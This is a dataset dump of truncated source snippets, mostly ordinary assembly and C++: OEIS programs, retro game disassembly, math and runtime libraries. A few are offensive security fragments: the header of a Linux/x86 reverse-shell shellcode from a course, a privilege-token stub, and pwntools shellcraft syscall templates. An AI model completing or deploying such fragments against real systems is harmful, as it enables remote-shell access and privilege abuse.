text
stringlengths
1
1.05M
INCLUDE "config_private.inc" SECTION code_clib SECTION code_math PUBLIC l_z80_zxn_mulu_32_16x16 l_z80_zxn_mulu_32_16x16: ; multiplication of two 16-bit numbers into a 32-bit product ; ; enter : de = 16-bit multiplicand = y ; hl = 16-bit multiplicand = x ; ; exit : dehl = 32-bit product ...
; A019274: Number of recursive calls needed to compute the n-th Fibonacci number F(n), starting with F(1) = F(2) = 1. ; Submitted by Jon Maiga ; 0,0,2,4,8,14,24,40,66,108,176,286,464,752,1218,1972,3192,5166,8360,13528,21890,35420,57312,92734,150048,242784,392834,635620,1028456,1664078,2692536,4356616,7049154,11405772,1...
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x19c1c, %rsi lea addresses_D_ht+0x1059c, %rdi nop nop nop nop xor %rax, %rax mov $59, %rcx rep movsl nop nop nop nop nop sub $4002, %rsi lea addresses_WC_ht+0xe39c, %r8 clflush (%r8) nop...
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: prefTrigger.asm AUTHOR: Chris Boyke ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- -...
; int wa_stack_push_callee(wa_stack_t *s, void *item) SECTION code_adt_wa_stack PUBLIC _wa_stack_push_callee EXTERN _w_array_append_callee defc _wa_stack_push_callee = _w_array_append_callee INCLUDE "adt/wa_stack/z80/asm_wa_stack_push.asm"
; A088499: Doubly (3)-perfect numbers. ; 27,33,45,57,69,81,105,117,141,177,189,225,249,261,285,321,357,369,405,429,441,477,501,537,585,609,621,645,657,681,765,789,825,837,897,909,945,981,1005,1041,1077,1089,1149,1161,1185,1197,1269,1341,1365,1377,1401,1437,1449,1509,1545,1581,1617,1629,1665,1689,1701,1761,1845,1869,188...
; A161150: a(n) = (largest odd divisor of n)*(largest power of 2 dividing (n+1)). ; Submitted by Simon Strandgaard ; 2,1,12,1,10,3,56,1,18,5,44,3,26,7,240,1,34,9,76,5,42,11,184,3,50,13,108,7,58,15,992,1,66,17,140,9,74,19,312,5,82,21,172,11,90,23,752,3,98,25,204,13,106,27,440,7,114,29,236,15,122,31,4032,1,130,33,268,17,...
bits 64 section .data lotsa: times 9999 db "a" .len: equ $-lotsa section .text global _start _start: mov rax,1 ; sys_write mov rdi,1 ; stdout mov rsi,lotsa mov rdx,lotsa.len syscall mov rax,60 ; sys_exit mov rdi,0 ; exit code syscall
;; @file ; Switch the stack from temporary memory to permenent memory. ; ; Copyright (c) 2008 - 2016, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distr...
; A098098: a(n) = sigma(6*n+5)/6. ; 1,2,3,4,5,8,7,8,9,10,14,12,16,14,15,20,17,18,19,24,26,22,23,28,25,32,32,28,29,30,38,32,33,40,40,44,42,38,39,40,57,42,43,44,45,62,47,56,49,56,62,52,53,60,64,68,64,58,59,60,74,72,70,64,65,80,67,76,80,70,93,72,80,74,75,112,77,78,88,80,98,82,96,84,85,104,87,96,98,114,110,100,93,94,95,124...
; A003622: The Wythoff compound sequence AA: [n*phi^2] - 1, where phi = (1+sqrt(5))/2. ; 1,4,6,9,12,14,17,19,22,25,27,30,33,35,38,40,43,46,48,51,53,56,59,61,64,67,69,72,74,77,80,82,85,88,90,93,95,98,101,103,106,108,111,114,116,119,122,124,127,129,132,135,137,140,142,145,148,150,153,156,158,161,163,166,169,171,174,177,1...
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2017 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of so...
;= test: bootman game ;= bin: ; Boot-Man ; ; (c) 2019 Guido van den Heuvel ; ; Boot-Man is a Pac-Man clone that fits (snugly) inside the Master Boot Record of a USB stick. ; A USB stick with Boot-Man on it boots into the game (hence the name). Unfortunately, however, ; Boot-Man leaves no room in the MBR for a partitio...
// coding: ansii // // Copyright (C) 2012-2013, Niklas Rosenstein // All rights reserved. #include <pr1mitive/debug.h> #include "pr1mitive_serial.h" #include <pr1mitive/helpers.h> #include <pr1mitive/objects/BasePrimitiveData.h> #include <pr1mitive/activation.h> #include "menu.h" namespace pr1mitive { namespace ...
; Original address was $AEA3 ; World 5 ground Fortress bonus / boss room .word W5F1L ; Alternate level layout .word W5F1O ; Alternate object layout .byte LEVEL1_SIZE_04 | LEVEL1_YSTART_170 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 .byte LEVEL3_TILESET_02 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTE...
.thumb .syntax unified .org 0x00 sub_80057C0: @ 0x080057C0 push {r4, lr} add r3, r0, #0 @Move E_Face's Proc Pointer into r3 ldr r1, [r3, #0x30] @Load Word 0x30 of E_Face ldr r0, =0x807 and r1, r0 @ r1 = E_Face->FaceControl & 0b100000000111 cmp r1, #3 beq BossFacingLeft @ if r1 = 3 cmp r1, #3 bls NormalPortrait...
#include "tn13def.inc" .CSEG rjmp RESET ; Reset Handler reti ; IRQ0 Handler reti ; PCINT0 Handler rjmp TIMER ; Timer0 Overflow Handler reti ; EEPROM Ready Handler reti ; Analog Comparator Handler reti ; Timer0 CompareA Handler reti ; Timer0 CompareB Handler rjmp WATCHDOG ; Watchdog Inte...
; This code is borrowed from https://github.com/paranoidninja/PIC-Get-Privileges extern run global alignstack segment .text alignstack: push rdi ; backup rdi since we will be using this as our main register mov rdi, rsp ; save stack pointer to rdi and rsp, byte -0x10 ...
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 91 call lwaitly_b ld hl, fe00 ld d, 10 ld a, d ld(hl++), a ld a, 08 ld(hl++), a inc l inc l ld a, d ld(hl++), ...
const_value = 0 const EVENT_FOLLOWED_OAK_INTO_LAB ; 000, (D747, bit 0) const EVENT_001 ; 001, (D747, bit 1) const EVENT_002 ; 002, (D747, bit 2) const EVENT_HALL_OF_FAME_DEX_RATING ; 003, (D747, bit 3) const EVENT_004 ...
db 0 ; species ID placeholder db 80, 82, 100, 80, 83, 100 ; hp atk def spd sat sdf db GRASS, GRASS ; type db 45 ; catch rate db 208 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F12_5 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/meganium...
; DV3 Standard Floppy Disk Direct Sector Read (16 bit DMA)  1998 Tony Tebby section dv3 xdef fd_rdirect16 ; direct sector read (16 bit DMA) xref fd_rdirect ; direct sector read include 'dev8_dv3_keys' include 'dev8_dv3_fd_keys' ;+++ ; This routine reads a sector from a Floppy disk for direct sector IO ; ...
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size) SECTION code_clib SECTION code_alloc_malloc PUBLIC posix_memalign_unlocked EXTERN asm_posix_memalign_unlocked posix_memalign_unlocked: pop af pop hl pop bc pop de push de push bc push hl push af jp asm_p...
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x13f47, %r13 nop nop cmp %rcx, %rcx mov (%r13), %di nop and $48209, %rcx lea addresses_A_ht+0x1a05f, %r12 and $11437, %rdi mov (%r12), %r15 xor %r13, %r13 lea addresses_WT_ht+0x1b7f7, %...
// // SoundGenerator.hpp // Clock Signal // // Created by Thomas Harte on 03/12/2016. // Copyright 2016 Thomas Harte. All rights reserved. // #ifndef Electron_SoundGenerator_hpp #define Electron_SoundGenerator_hpp #include "../../Outputs/Speaker/Implementation/SampleSource.hpp" #include "../../Concurrency/AsyncTa...
dnl PowerPC-64 mpn_addlsh1_n -- rp[] = up[] + (vp[] << 1) dnl Copyright 2003, 2005 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as publish...
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Needed for defined(OS_WIN) #include "build/build_config.h" // Windows headers must come first. #if defined(OS_WIN) #include <windows.h> #endif // Pro...
/* * Copyright (c) 2020, Emanuel Sprung <emanuel.sprung@gmail.com> * * SPDX-License-Identifier: BSD-2-Clause */ #include "RegexMatcher.h" #include "RegexDebug.h" #include "RegexParser.h" #include <AK/Debug.h> #include <AK/ScopedValueRollback.h> #include <AK/String.h> #include <AK/StringBuilder.h> namespace regex ...
Sound66_MegaMackDrop_Header: smpsHeaderStartSong 2 smpsHeaderVoice Sound66_MegaMackDrop_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $02 smpsHeaderSFXChannel cFM5, Sound66_MegaMackDrop_FM5, $EE, $08 smpsHeaderSFXChannel cPSG3, Sound66_MegaMackDrop_PSG3, $00, $00 ; PSG3 Data Sound66_MegaMackDrop_PSG3: ...
#include "dot11/dot11_control.h" #ifdef HAVE_DOT11 #include <gtest/gtest.h> #include "tests/dot11.h" using namespace std; using namespace Tins; typedef Dot11::address_type address_type; class Dot11BlockAckRequestTest : public testing::Test { public: static const address_type empty_addr, hwaddr; static con...
#pragma once #ifndef DARK_GLSL #define DARK_GLSL #endif #include "basic.hpp" #include "vec2.hpp" #include <ostream> /*----------1x3 vector */ namespace u { struct vec3 { union { struct { GLfloat x, y, z; }; struct { GLfloat r, g, b; }; struct { GLfloat s, t, p; }; vec2_swizzle<vec2, 0, 1> xy; vec3...
;;kernel.asm ;nasm directive - 32 bit bits 32 section .text ;multiboot spec align 4 dd 0x1BADB002 ;magic dd 0x00 ;flags dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero global start start: cli ;block interrupts mov esp, stack_space ;s...
; A336257: a(n) = Catalan(n) mod (2*n+1). ; 0,1,2,5,5,9,2,9,2,17,17,21,12,22,2,29,18,30,2,30,2,41,30,45,9,21,2,54,53,57,2,28,38,65,42,69,2,64,70,77,5,81,80,33,2,14,27,45,2,36,2,101,87,105,2,78,2,34,75,6,101,45,62,125,39,129,74,60,2,137,90,88,70,144,2,149,72,50,2,57,98,161,110,165,158,145,2,140,114,177,2,4,160,11,161,18...
// This file is part of RAVL, Recognition And Vision Library // Copyright (C) 2001, University of Surrey // This code may be redistributed under the terms of the GNU Lesser // General Public License (LGPL). See the lgpl.licence file for details or // see http://www.gnu.org/copyleft/lesser.html // file-header-ends-here...
; Copyright (c) 2005-2017 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed ...
; ; Nested Loops ; .386 .model flat,stdcall .STACK include kernel32.inc include masm32.inc includelib kernel32.lib includelib masm32.lib .DATA ExitMsg byte "Press any key to continue . . . ", 00dh, 00ah, 0 CRLF byte 00dh, 00ah, 0 SPACE byte " ", 0 array dword 34, 56, 4, 10, 77, 51, 93, 30, 5, ...
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 1720 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %13 %27 OpExecutionMode %4 Or...
extern m7_ippsDLPValidateDH:function extern n8_ippsDLPValidateDH:function extern y8_ippsDLPValidateDH:function extern e9_ippsDLPValidateDH:function extern l9_ippsDLPValidateDH:function extern n0_ippsDLPValidateDH:function extern k0_ippsDLPValidateDH:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:funct...
; Make switch to 32-bit protected [bits 16] protected_mode_enter: cli ; Disable interrupts lgdt [gdt_descriptor] mov eax, cr0 ; Fetch cr0 register or eax, 0x1 ; set first bit mov cr0, eax ; and store it back ; Perform far jump to protected ...
; A023473: n-31. ; -31,-30,-29,-28,-27,-26,-25,-24,-23,-22,-21,-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 sub $0,31 mov $1,$0
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ----- void __CALLEE__ setpos(int x2, int y2) ; ; $Id: w_setpos_callee.asm $ ; SECTION code_graphics PUBLIC setpos_callee PUBLIC _setpos_callee PUBL...
; A052942: Expansion of 1/((1+x)*(1-2*x+2*x^2-2*x^3)). ; 1,1,1,1,3,5,7,9,15,25,39,57,87,137,215,329,503,777,1207,1865,2871,4425,6839,10569,16311,25161,38839,59977,92599,142921,220599,340553,525751,811593,1252791,1933897,2985399,4608585,7114167,10981961,16952759,26169929,40398263,62362185,96267703,148607561,229404087,35...
SECTION code_fp_am9511 PUBLIC cosh EXTERN cam32_sccz80_cosh defc cosh = cam32_sccz80_cosh ; SDCC bridge for Classic IF __CLASSIC PUBLIC _cosh EXTERN cam32_sdcc_dcc_cosh defc _cosh = cam32_sdcc_dcc_cosh ENDIF
title "Interlocked Support" ;++ ; ; Copyright (c) 1996 Microsoft Corporation ; ; Module Name: ; ; slist.asm ; ; Abstract: ; ; This module implements functions to support interlocked S-List ; operations. ; ; Author: ; ; David N. Cutler (davec) 13-Mar-1996 ; ; Environment: ; ; ...
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/comprehendmedical/model/RxNormTraitName.h> #include <aws/core/utils/HashingUtils.h> #include <aws/core/Globals.h> #include <aws/core/utils/EnumParseOverflowContainer.h> using namespace ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1203a, %r8 nop nop nop nop and $63, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm5 movups %xmm5, (%r8) nop nop nop add $25497, %r15 lea addresses_D_ht...
// Copyright (c) 2011-2013 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "signverifymessagedialog.h" #include "ui_signverifymessagedialog.h" #include "addressbookpage.h" #include "base58.h"...
;================================================================================================================================================== ; ******** *** *********** ********* *** *** *** *** ******* ******* ; *******...
/********************************************************************** * * Name: mitab_geometry.cpp * Project: MapInfo TAB Read/Write library * Language: C++ * Purpose: Geometry manipulation functions. * Author: Daniel Morissette, dmorissette@dmsolutions.ca * Based on functions from mapprimiti...
; A001805: a(n) = n! * binomial(n,3). ; Submitted by Christian Krause ; 6,96,1200,14400,176400,2257920,30481920,435456000,6586272000,105380352000,1780927948800,31732897996800,594991837440000,11716762337280000,241867451105280000,5224336943874048000,117874102296158208000,2773508289321369600000,67950953088373555200000,173...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x19a4e, %rsi lea addresses_A_ht+0x961e, %rdi nop nop nop nop nop cmp %r9, %r9 mov $105, %rcx rep movsq nop nop nop nop nop cmp %r12, %r12 lea addresses_D_ht+0x1881e, %r8 nop nop...
; A295473: a(0) = 0; for n>0, a(n) = 9*n!. ; 0,9,18,54,216,1080,6480,45360,362880,3265920,32659200,359251200,4311014400,56043187200,784604620800,11769069312000,188305108992000,3201186852864000 mov $1,$0 pow $2,$1 cal $1,142 sub $1,$2 mul $1,9
//============================================================================== // Copyright 2003 - 2011 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2011 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // ...
; A168185: Characteristic function of numbers that are not multiples of 12. ; 0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1 mov $2,12 gcd $2,$0 div $2,8 pow $1,$2 mo...
; A152785: a(n)=Floor[(n^2)/Catalan]. ; 0,1,4,9,17,27,39,53,69,88,109,132,157,184,213,245,279,315,353,394,436,481,528,577,628,682,738,795,855,918,982,1049,1117,1188,1262,1337,1414,1494,1576,1660,1746,1835,1925,2018,2113,2210,2310,2411,2515,2621,2729 mov $4,$0 mul $0,3 pow $0,2 mov $2,6 sub $2,$0 lpb $0 mov $3,$2 m...
db DEX_PONYTA ; pokedex id db 50 ; base hp db 85 ; base attack db 55 ; base defense db 90 ; base speed db 65 ; base special db FIRE ; species type 1 db FIRE ; species type 2 db 190 ; catch rate db 152 ; base exp yield INCBIN "pic/bmon/ponyta.pic",0,1 ; 66, sprite dimensions dw PonytaPicFront dw PonytaPicBack ; attacks ...
;***************************************************************************** ;* x86-optimized functions for interlace filter ;* ;* Copyright (C) 2014 Kieran Kunhya <kierank@obe.tv> ;* Copyright (c) 2014 Michael Niedermayer <michaelni@gmx.at> ;* Copyright (c) 2017 Thomas Mundt <tmundt75@gmail.com> ;* ;* This file is p...
dnl x86-64 mpn_popcount optimized for Pentium 4. dnl Copyright 2007 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the ...
/** Implementation of the RPC Geometry Builder from DDD * * \author Port of: MuDDDRPCBuilder (ORCA) * \author M. Maggi - INFN Bari */ #include "Geometry/RPCGeometryBuilder/src/RPCGeometryParsFromDD.h" #include "DataFormats/MuonDetId/interface/RPCDetId.h" #include <CondFormats/GeometryObjects/interface/RecoIdealG...
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="tv, tz"/> <%docstring> Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information. Arguments: tv(timeval): tv tz(timezone): tz </%docstring> ${syscall('SYS_settimeofday', tv, tz)}
// // Copyright 2016 Pixar // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in wri...
;=============================================================================== ; Copyright 2015-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apa...
[bits 64] xorps xmm2, xmm2 xorps xmm10, xmm10
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
; A315466: Coordination sequence Gal.6.158.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,6,11,16,21,26,30,35,40,45,50,56,62,67,72,77,82,86,91,96,101,106,112,118,123,128,133,138,142,147,152,157,1...
/* * Copyright 2009 Rensselaer Polytechnic Institute * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Thi...
// Copyright (c) 2015 The Bitcoin Core developers // Copyright (c) 2017 The GALR developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "reverselock.h" #include <boost/bind.hpp> #include <boost/random/mersenne_twis...
; CRT0 for the NASCOM1/2 ; ; Stefano Bodrato May 2003 ; ; ; - - - - - - - ; ; $Id: nascom_crt0.asm,v 1.23 2016-08-05 07:04:09 stefano Exp $ ; ; - - - - - - - MODULE nascom_crt0 ;------- ; Include zcc_opt.def to find out information about us ;------- defc crt0 = 1 INCLUDE "zcc_opt.def...
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: Desktop/Folder FILE: folderDisplay.asm AUTHOR: Brian Chin ROUTINES: INT DrawFolderObjectIcon - draw one object in folder window INT DrawFullFile...
; Linux/x86 reverse shell shellcode ; By Daniel Roberson -- @dmfroberson -- daniel@planethacker.net ; ; For SecurityTube Linux Assembly Expert course. ; SLAE-877 BITS 32 ; python -c "import socket; print hex(socket.htons(4444))" PORT equ 0x5c11 ; python -c 'import socket,struct; print hex(struct.unpack("<L", socke...
BattleCommand_Teleport: ; teleport ld a, [wBattleType] cp BATTLETYPE_SHINY jr z, .failed cp BATTLETYPE_TRAP jr z, .failed cp BATTLETYPE_CELEBI jr z, .failed cp BATTLETYPE_SUICUNE jr z, .failed ld a, BATTLE_VARS_SUBSTATUS5_OPP call GetBattleVar bit SUBSTATUS_CANT_RUN, a jr nz, .failed ; Only need to check...
; A131820: Row sums of triangle A131819. ; 1,6,16,33,59,96,146,211,293,394,516,661,831,1028,1254,1511,1801,2126,2488,2889,3331,3816,4346,4923,5549,6226,6956,7741,8583,9484,10446,11471,12561,13718,14944,16241,17611,19056,20578,22179,23861,25626 mov $1,$0 mul $0,2 mul $1,$0 add $0,7 add $1,$0 add $1,5 mul $1,$0 sub $1,8...
;================================================================================ ; NMI Hook ;-------------------------------------------------------------------------------- ; rando already hooks the Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) so we have to hook after that org $0080D0 ; <- D0 - Bank00.asm : 164-167...
; A245830: The Szeged index of a benzenoid consisting of a linear chain of n hexagons. ; 54,243,656,1381,2506,4119,6308,9161,12766,17211,22584,28973,36466,45151,55116,66449,79238,93571,109536,127221,146714,168103,191476,216921,244526,274379,306568,341181,378306,418031,460444,505633,553686,604691,658736,715909,776298,83...
; ; ARJ Mode 7 decode (Size optimized) ; Copyleft 1993-2007 Mr Ni! (the Great) of the TOS-crew ; + Orion_: In my modified version of Packed data, the first long is the original file size ! ; + ross : facility for mcgeezer ; ; ; CALL: ; A0 = ptr to depack space ; A1 = ptr to packed data ; A2 = ptr to a 11312 b...
// no-networkit-format /* * HopPlotApproximation.cpp * * Created on: 16.06.2014 * Author: Marc Nemes */ #include <cmath> #include <omp.h> #include <networkit/auxiliary/Random.hpp> #include <networkit/components/ConnectedComponents.hpp> #include <networkit/distance/HopPlotApproximation.hpp> namespace NetworKit...
; A005451: Define b(n) = ( (n-1)*(n^2-3*n+1)*b(n-1) - (n-2)^3*b(n-2) )/(n*(n-3)); b(2) = b(3) = 1; sequence gives denominators of b(n). ; Submitted by Christian Krause ; 1,1,4,1,6,1,8,9,10,1,12,1,14,15,16,1,18,1,20,21,22,1,24,25,26,27,28,1,30,1,32,33,34,35,36,1,38,39,40,1,42,1,44,45,46,1,48,49,50,51,52,1,54,55,56,57,58...
#Mergesort for benchmarking #Optimized for 512 bit I$ 1024 bit D$ #Author Adam Hendrickson ahendri@purdue.edu #CORE 0 org 0x0000 ori $fp, $zero, 0xFFFC ori $sp, $zero, 0xFFFC ori $a0, $zero, data lw $s0, size($zero) srl $a1, $s0, 1 or $s1, $zero, $a0 or $s2, $zero, $a1 jal insertion...
// @(#)lib/fibers_stack:$Id$ // Author: Rafal Lalik 18/11/2017 /************************************************************************* * Copyright (C) 2017-2018, Rafał Lalik. * * All rights reserved. * * ...
; A202201: Number of (n+2) X 9 binary arrays avoiding patterns 001 and 101 in rows and columns. ; 2430,11880,44550,138996,378378,926640,2084940,4375800,8664084,16325712,29476980,51279480,86337900,141210432,225054126,350430300,534298050,799227000,1174863690,1699689420,2423110950,3407929200,4733235000,6497785008,88239151...
MODULE __printf_handle_f PUBLIC __printf_handle_f PUBLIC __printf_handle_e EXTERN fa EXTERN l_jphl EXTERN dldpsh EXTERN __printf_get_buffer_address EXTERN __printf_print_the_buffer EXTERN ftoa EXTERN ftoe EXTERN strlen EXTERN __convert_sdccf2reg __printf_handle_e: set 5,(ix-4) __printf_handle_f: ...
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>vserver(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4) -> str Invokes the syscall vserver. See 'man 2 vserver' for more information. Arguments: vararg(int): vararg Returns: long </%docstring> <%page arg...
/******************************************************************************* * Copyright 2016 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.o...
#include <boost/thread/thread.hpp> #include "dirmonitor.hpp" using namespace ilrd; DirMonitor::DirMonitor(const std::string& path, uint32_t flags):m_path(path) { m_fd = inotify_init(); const char* temp = m_path.c_str(); m_wd = inotify_add_watch(m_fd, temp, flags); } DirMonitor::~DirMonitor() { inotify...
#pragma once // This file is generated from the Game's Reflection data #include <cstdint> #include <RED4ext/Common.hpp> #include <RED4ext/CName.hpp> #include <RED4ext/NativeTypes.hpp> #include <RED4ext/Scripting/Natives/Generated/Transform.hpp> #include <RED4ext/Scripting/Natives/Generated/red/TagList.hpp> namespace...
; A247619: Start with a single pentagon; at n-th generation add a pentagon at each expandable vertex; a(n) is the sum of all label values at n-th generation. (See comment for construction rules.) ; 1,6,16,36,66,116,186,296,446,676,986,1456,2086,3036,4306,6216,8766,12596,17706,25376,35606,50956,71426,102136,143086,20451...
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed un...
; ; ; ZX Maths Routines ; ; 8/12/02 - Stefano Bodrato ; ; $Id: ceil.asm,v 1.4 2015/08/10 08:52:12 stefano Exp $ ; ;double ceil(double) ;Number in FA.. ; ;This is implemented as -(floor(-x)) IF FORzx INCLUDE "zxfp.def" ENDIF IF FORzx81 INCLUDE "81fp.def" ENDIF IF FORlambda INCLUDE "lamb...
; A066211: a(n) = Sum_{j=0..n} (2*n)!/(2*n-j)!. ; 1,3,17,157,2081,36101,773665,19726085,582913217,19582414021,736891600001,30699450566885,1402556105125345,69719685409234277,3745929254826233441,216310377722912693701,13359435408855851031425,878701820865582786218885,61320957119042580664595137,4525280594748425506670362661,...
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x405, %rsi lea addresses_normal+0x1d661, %rdi nop nop nop nop xor %r10, %r10 mov $41, %rcx rep movsq nop nop nop nop nop and %r12, %r12 // S...
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
// Copyright (c) 2009-2015 The Bitcoin Core developers // Copyright (c) 2014-2017 The Dash Core developers // Copyright (c) 2017-2018 The Cerberus Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_...
; ; Jupiter ACE pseudo graphics routines ; Version for the 2x3 graphics symbols (UDG redefined) ; ; ; Written by Stefano Bodrato 2014 ; ; ; Reset pixel at (x,y) coordinate. ; ; ; $Id: respixl.asm,v 1.2 2016/11/21 11:18:38 stefano Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBL...
;;;;;;; Lab 1 assembly program for ASEN 4067/5067 ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; File: lab01_part04 ; Target: PIC18F87K22 ; Author: Microchip Technology Inc. ; Modified: Ruben Hinojosa Torres ; Using as reference also: main.s by Dan1138 ; lab1picas.asm by Scott Palo, Doug Weibel, and Trudy Schwartz ;...
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="sig, handler"/> <%docstring> Invokes the syscall signal. See 'man 2 signal' for more information. Arguments: sig(int): sig handler(sighandler_t): handler </%docstring> ${syscall('SYS_signal', sig, handler)}
[BITS 16] [ORG 0x7C00] times 510-($-$$) db 0 dw 0xAA55
; A007290: a(n) = 2*binomial(n,3). ; 0,0,0,2,8,20,40,70,112,168,240,330,440,572,728,910,1120,1360,1632,1938,2280,2660,3080,3542,4048,4600,5200,5850,6552,7308,8120,8990,9920,10912,11968,13090,14280,15540,16872,18278,19760,21320,22960,24682,26488,28380,30360,32430,34592,36848,39200,41650,44200,46852,49608,52470,55440,585...
; define a macro, taking one parameter ; %1 accesses the first parameter. ; If the interrupt does not push an error code onto the stack ; we push a dummy one (0) %macro ISR_NOERRCODE 1 global isr%1 isr%1: cli push byte 0 push byte %1 jmp isr_common_stub %endmacro ; If the inter...
.MODEL SMALL .DATA .CODE MAIN PROC MOV DL, '?' MOV AH, 2 INT 21h MOV AH,1 INT 21h MOV BL, AL MOV AH, 2 MOV DL, 0Dh INT 21h MOV DL, 0Ah INT 21h MOV DL, BL MOV AH, 2 INT 21h MAIN ENDP EN...
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // /////////////////////////////////////////////////////////////////////////////////////////////////// #pragma once #include "primitive.hpp" #include <map> namespace cldnn { /// @addtogroup cpp_api C++ API /// @{ /// @addtogroup cpp_...